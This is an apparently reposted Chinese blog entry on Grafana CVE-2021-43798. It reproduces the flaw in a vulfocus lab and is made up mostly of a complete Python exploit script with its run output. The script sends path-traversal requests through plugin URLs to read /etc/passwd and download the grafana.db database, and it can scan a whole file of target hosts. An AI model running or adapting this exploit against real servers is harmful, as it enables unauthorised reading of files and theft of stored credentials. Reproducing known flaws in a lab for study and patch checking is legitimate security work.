安全漏洞之grafana-cve_2021_43798

环境搭建

我使用的是vulfocus提供的vulfocus/grafana-cve_2021_43798 ,由vulfocus后台统一管理

利用脚本

注：该脚本来自t00ls[Henry]

#!/usr/bin/env python
# -*- conding:utf-8 -*-

import requests
import argparse
import sys
import urllib3
import time

urllib3.disable_warnings()


def title():
    print("""
                 ___                     __                                 ___                        _      ___   _   _       
                / __|  _ _   __ _   / _|  __ _   _ _    __ _     | _ \  ___   __ _   __| |    | __| (_) | |  ___ 
               | (_ | | '_| / _` | |  _| / _` | | ' \  / _` |    |  / / -_) / _` | / _` |   | _|  | | | | / -_)
               \___| |_|   \__,_| |_|   \__,_| |_||_| \__,_|  |_|_\ \___| \__,_| \__,_| |_|   |_| |_| \___|



                                     Author: Henry4E36
               """)


class information(object):
    def __init__(self, args):
        self.args = args
        self.url = args.url
        self.file = args.file

    def target_url(self):
        lists = ['grafana-clock-panel', 'alertGroups', 'alertlist', 'alertmanager', 'annolist', 'barchart', 'bargauge', \
                 'canvas', 'cloudwatch', 'cloudwatch', 'dashboard', 'dashboard', 'dashlist', 'debug', 'elasticsearch', \
                 'gauge', 'geomap', 'gettingstarted', 'grafana-azure-monitor-datasource', 'grafana', 'graph',
                 'graphite', \
                 'graphite', 'heatmap', 'histogram', 'influxdb', 'jaeger', 'live', 'logs', 'logs', 'loki', 'mixed', \
                 'mssql', 'mysql', 'news', 'nodeGraph', 'opentsdb', 'piechart', 'pluginlist', 'postgres', 'prometheus', \
                 'stat', 'state-timeline', 'status-history', 'table-old', 'table', 'tempo', 'testdata', 'text', \
                 'timeseries', 'welcome', 'xychart', 'zipkin']
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
        }

        # proxies = {
        #     "http": "http://127.0.0.1:8080",
        #
        # }
        for i in lists:
            target_url = self.url + f"/public/plugins/{i}/%23/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd"
            try:
                res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
                if res.status_code == 200 and "root:" in res.text:
                    print(f"\033[31m[{chr(8730)}] 目标系统: {self.url}的{i}插件存在任意文件读取\033[0m")
                    print(f"[-] 尝试读取DB文件:")
                    db_url = self.url + f"/public/plugins/{i}/%23/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/var/lib/grafana/grafana.db"
                    try:
                        res_db = requests.get(url=db_url, headers=headers, verify=False, timeout=25)
                        if res_db.status_code == 200 and "SQLite format" in res_db.text:
                            a = time.time()
                            with open(f'{a}.db', "w") as f:
                                f.write(res_db.text)
                            f.close()
                            print(f"\033[31m[{chr(8730)}] 成功读取DB文件，信息保存在{a}.db文件中\033[0m")
                        else:
                            print(f"[-] 读取DB文件失败")
                    except Exception as e:
                        print("[\033[31mX\033[0m] 读取DB文件错误,可能与请求时间有关!")
                        print("[" + "-" * 100 + "]")
                else:
                    print(f"[\033[31mx\033[0m]  目标系统: {self.url} 不存在{i}插件！")
                    print("[" + "-" * 100 + "]")
            except Exception as e:
                print("[\033[31mX\033[0m]  连接错误！")
                print("[" + "-" * 100 + "]")

    def file_url(self):
        with open(self.file, "r") as urls:
            for url in urls:
                url = url.strip()
                if url[:4] != "http":
                    url = "http://" + url
                self.url = url.strip()
                information.target_url(self)


if __name__ == "__main__":
    title()
    parser = ar = argparse.ArgumentParser(description='Grafana 任意文件读取')
    parser.add_argument("-u", "--url", type=str, metavar="url", help="Target url eg:\"http://127.0.0.1\"")
    parser.add_argument("-f", "--file", metavar="file", help="Targets in file  eg:\"ip.txt\"")
    args = parser.parse_args()
    if len(sys.argv) != 3:
        print(
            "[-]  参数错误！\neg1:>>>python3 grafana-read.py -u [url]http://127.0.0.1[/url]\neg2:>>>python3 grafana-read.py -f ip.txt")
    elif args.url:
        information(args).target_url()

    elif args.file:
        information(args).file_url()

脚本 运行

python3  grafana2021.py --url http://192.168.22.153:26369

                 ___                     __                                 ___                        _      ___   _   _       
                / __|  _ _   __ _   / _|  __ _   _ _    __ _     | _ \  ___   __ _   __| |    | __| (_) | |  ___ 
               | (_ | | '_| / _` | |  _| / _` | | ' \  / _` |    |  / / -_) / _` | / _` |   | _|  | | | | / -_)
               \___| |_|   \__,_| |_|   \__,_| |_||_| \__,_|  |_|_\ \___| \__,_| \__,_| |_|   |_| |_| \___|



                                     Author: Henry4E36
               
[x]  目标系统: http://192.168.22.153:26369 不存在grafana-clock-panel插件！
[----------------------------------------------------------------------------------------------------]
[√] 目标系统: http://192.168.22.153:26369的alertGroups插件存在任意文件读取
[-] 尝试读取DB文件:
[√] 成功读取DB文件，信息保存在1640138711.792404.db文件中
[√] 目标系统: http://192.168.22.153:26369的alertlist插件存在任意文件读取

标签：__,url,..%,2f,2021,43798,___,cve,self
来源： https://www.cnblogs.com/zunwen/p/15718314.html